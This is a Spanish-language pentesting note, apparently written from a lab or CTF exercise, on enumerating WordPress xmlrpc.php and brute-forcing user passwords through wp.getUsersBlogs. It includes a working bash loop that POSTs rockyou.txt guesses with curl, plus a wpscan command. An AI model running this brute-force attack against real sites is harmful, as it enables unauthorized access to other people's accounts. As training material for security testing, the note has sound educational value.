====== ENUMERAR XMLRPC + ATAQUES FUERZA BRUTA WORDPRESS ====== También es posible que podamos enumerar este archivo el cual nos sirve para obtener credenciales de usuarios, ya que se trata de un archivo que permite la comunicación de wordpress y otros sistemas usando php; y si lo buscamos en el navegador vemos que existe pero que sólo tramita peticiones por POST: {{pasted_image_20230421133400.png|}} Por tanto con curl vamos a enviarle una petición por POST y vemos que sí nos devuelve algo en XML: {{pasted_image_20230421133532.png|}} Y ahora que vemos que existe este fichero, buscamos en google como explotar vulnerabilidades haciendo uso de este fichero: {{pasted_image_20230421133725.png|}} Y nos dicen que tenemos que tramitar esto: {{pasted_image_20230421133752.png|}} POST /xmlrpc.php HTTP/1.1 Host: example.com Content-Length: 135 system.listMethods Por tanto pegamos este código en un fichero xml: {{pasted_image_20230421133907.png|}} Y ahora este fichero lo tramitamos por POST contra el xmlrpc de wordpress: {{pasted_image_20230421134022.png|}} Y el servidor nos responde con todos los métodos disponibles: {{pasted_image_20230421134102.png|}} Y si miramos más en la página, vemos que nos muestran como hacer un ataque de fuerza bruta: {{pasted_image_20230421134340.png|}} wp.getUsersBlogs \{\{your username\}\} \{\{your password\}\} Y vemos que aquí si ponemos unas credenciales correctas y lo ejecutamos como antes, nos va a funcionar correctamente: {{pasted_image_20230421134520.png|}} {{pasted_image_20230421134540.png|}} En este punto podríamos hacer un ataque de fuerza bruta, tanto con un script de bash o con la propia herramienta wpscan: #!/bin/bash #!/bin/bash function salir() { exit 1 } trap salir SIGINT for i in $(cat rockyou.txt); do variable=$(cat < wp.getUsersBlogs Elliot $i FIN ) echo -e "$variable" >> enviar.xml echo -e "[+] Probamos con la contraseña $i" curl -s -X POST 'http://10.10.126.89/xmlrpc.php' -d@enviar.xml >> log.log if [ ! "$(cat log.log | grep 'Incorrect username or password.')" ]; then echo -e "[+] La contraseña para Elliot es $i" exit 0 fi sleep 1 rm log.log enviar.xml done {{pasted_image_20230421143424.png|}} O también directamente desde la herramienta, lo cual será más rápido: wpscan --url -U -P {{pasted_image_20230421143525.png|}} Y nos la encuentra: {{pasted_image_20230421143548.png|}}